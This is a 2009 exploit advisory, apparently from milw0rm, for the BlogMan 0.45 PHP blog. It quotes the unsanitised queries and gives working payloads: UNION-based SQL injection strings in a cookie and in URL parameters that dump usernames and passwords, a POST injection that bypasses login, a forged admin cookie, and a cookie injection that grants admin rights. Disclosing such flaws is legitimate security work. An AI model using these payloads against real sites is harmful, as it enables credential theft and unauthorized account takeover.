******* Salvatore "drosophila" Fresta ******* Application: BlogMan http://sourceforge.net/projects/blogman/ Version: 0.45 Bug: * Multiple SQL Injection * Authentication Bypass * Privilege Escalation Exploitation: Remote Date: 1 Mar 2009 Discovered by: Salvatore "drosophila" Fresta Author: Salvatore "drosophila" Fresta e-mail: drosophilaxxx@gmail.com ************************************************* - BUGS This blog is entirely vulnerable to SQL Injection. The following are vulnerable queries that can be used to obtain reserved information. #[1] SQL Injection: Requisites: magic_quotes_gpc = off File affected: index.php, register.php, viewall.php The following lines are improperly checked: /* if (isset($_COOKIE['blogmanuserid'])) { $id = $_COOKIE['blogmanuserid']; $query = "SELECT * FROM user WHERE UserID='".$id."'"; $user = mysql_fetch_array(mysql_query($query)) or die(mysql_error()); echo "

".$user['UserName']."

\n"; */ Using a cookie editor it is possible to edit that cookie and manage the query, as follows: Name: blogmanuserid Content: -1' UNION ALL SELECT 1,CONCAT(UserName,char(58),UserPassword),3,4,5,6,7,8,9,10,11,12,13,14,15,16 FROM user# Server: target_server (example: localhost) Path: /blogman/ #[2] SQL Injection: Requisites: magic_quotes_gpc = off File affected: read.php This bug allows a guest to view the username and password of a registered user. http://site/path/read.php?id=-1'UNION ALL SELECT NULL,2,CONCAT(UserName,char(58),UserPassword),NULL,5,6,7 FROM user%23 #[3] SQL Injection: Requisites: magic_quotes_gpc = off File affected: profile.php This bug allows a guest to view the username and password of a registered user. http://site/path/profile.php?id=-1' UNION ALL SELECT 1,CONCAT(UserName,char(58),UserPassword),3,4,5,6,7,8,9,10,11,12,13,14,15,16 FROM user%23 #[1] Authentication Bypass: Requisites: magic_quotes_gpc = off File affected: doLogin.php The following lines are improperly checked: /* $un = $_POST['un']; $pw = $_POST['pw']; ... $pwHashed = mysql_fetch_array(mysql_query("SELECT PASSWORD('".$pw."')")); $userRow = mysql_fetch_array(mysql_query("SELECT * FROM user WHERE UserName='".$un."'")); if ($userRow['UserPassword'] == $pwHashed[0] && $userRow['UserActive'] && !$userRow['UserDisabled']) { $expires = time() + 3*24*60*60; setcookie("blogmanuserid", $userRow['UserID'], $expires); } */ Using a SQL Injection bug it is possible to bypass conditions and to set an arbitrary UserID value. The following information must be sent using POST method to doLogin.php un = ' UNION ALL SELECT 1,NULL,PASSWORD('mypass'),NULL,NULL,NULL,NULL,NULL,NULL,0,1,NULL,NULL,NULL,NULL,NULL# pw = mypass The First value is UserID, the third value is the password, the tenth value is UserDisabled and the eleventh value is UserActive. #[2] Authentication Bypass: Requisites: none File affected: all It is possible to bypass the authentication system by creating a cookie named 'blogmanuserid', and inserting the value of a registered user id into the content(sometimes 1 for admin): Name: blogmanuserid Content: 1 Server: target_server (example: localhost) Path: /blogman/ Privilege Escalation: Requisites: magic_quotes_gpc = off File affected: admin.php It is possible to escalate privileges using a SQL Injection bug through a cookie. The following lines are improperly checked: /* $id = $_COOKIE['blogmanuserid']; $user = mysql_fetch_array(mysql_query("SELECT * FROM user WHERE UserID='".$id."'")); if (!$user['UserCanAdmin']) { echo ""; } else { ... } */ Name: blogmanuserid Content: -1' UNION ALL SELECT 2,NULL,3,4,5,6,7,8,9,10,11,12,13,14,15,1# Server: target_server (example: localhost) Path: /blogman/ The first value is UserID and the last value is UserCanAdmin. ************************************************* # milw0rm.com [2009-03-02]